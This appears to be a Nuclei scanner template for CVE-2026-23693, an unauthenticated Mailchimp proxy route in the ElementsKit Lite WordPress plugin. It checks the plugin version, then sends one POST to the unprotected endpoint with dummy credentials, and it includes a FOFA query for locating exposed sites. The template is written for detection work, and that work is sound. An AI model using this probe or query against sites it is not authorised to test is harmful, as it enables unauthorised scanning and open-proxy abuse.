id: CVE-2026-23693

info:
  name: ElementsKit Lite <3.7.9 - Unauthenticated Mailchimp Proxy
  author: rahulreddykarne
  severity: high
  description: |
    The ElementsKit Elementor Addons Lite (elementskit-lite) plugin for WordPress before 3.7.9 registers the REST route /wp-json/elementskit/v1/widget/mailchimp/subscribe with no authentication or capability check (CWE-306). The handler accepts client-supplied Mailchimp API credentials and a `list` parameter and issues upstream Mailchimp API requests, letting an unauthenticated attacker use the site as an open proxy to Mailchimp.
  impact: |
    Unauthenticated attackers can invoke the Mailchimp integration with no credentials on the site, enabling open-proxy abuse, subscription-data tampering, and Mailchimp API-quota / resource exhaustion.
  remediation: |
    Update ElementsKit Lite (elementskit-lite) to 3.7.9 or later, which enforces authentication on the endpoint.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/85025fb9-6e19-4c0f-bf16-4b890ba5f7f5
    - https://wordpress.org/plugins/elementskit-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23693
  classification:
    cve-id: CVE-2026-23693
    epss-score: 0.00907
    epss-percentile: 0.57802
    cwe-id: CWE-306
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
    cvss-score: 10.0
  metadata:
    max-request: 1
    vendor: wpmet
    product: elementskit-lite
    framework: wordpress
    fofa-query: body="/wp-content/plugins/elementskit-lite/"
  tags: cve,cve2026,wordpress,wp-plugin,elementskit,elementskit-lite,unauth,auth-bypass,mailchimp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/elementskit-lite/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<3.7.9')"
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)Stable.tag:\s?([\w.]+)'
        internal: true

  - raw:
      - |
        POST /wp-json/elementskit/v1/widget/mailchimp/subscribe HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        email=test-{{randstr}}@example.com&list=test-invalid-list&apikey=0000000000000000000000000000000-us1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        negative: true
        condition: or
        words:
          - "rest_forbidden"
          - "rest_cannot_access"
          - "rest_not_logged_in"
          - "rest_no_route"
# digest: 4b0a0048304602210088bf3c2dea0d5071d3c63eadda61c9efe561decf075a91870ca952dd618fd9d702210093d6d6e499b4a96e48fe36b1399cf6f98904a9564f97f7f49ed73b84c73c3598:922c64590222798bb761d5b6d8e72950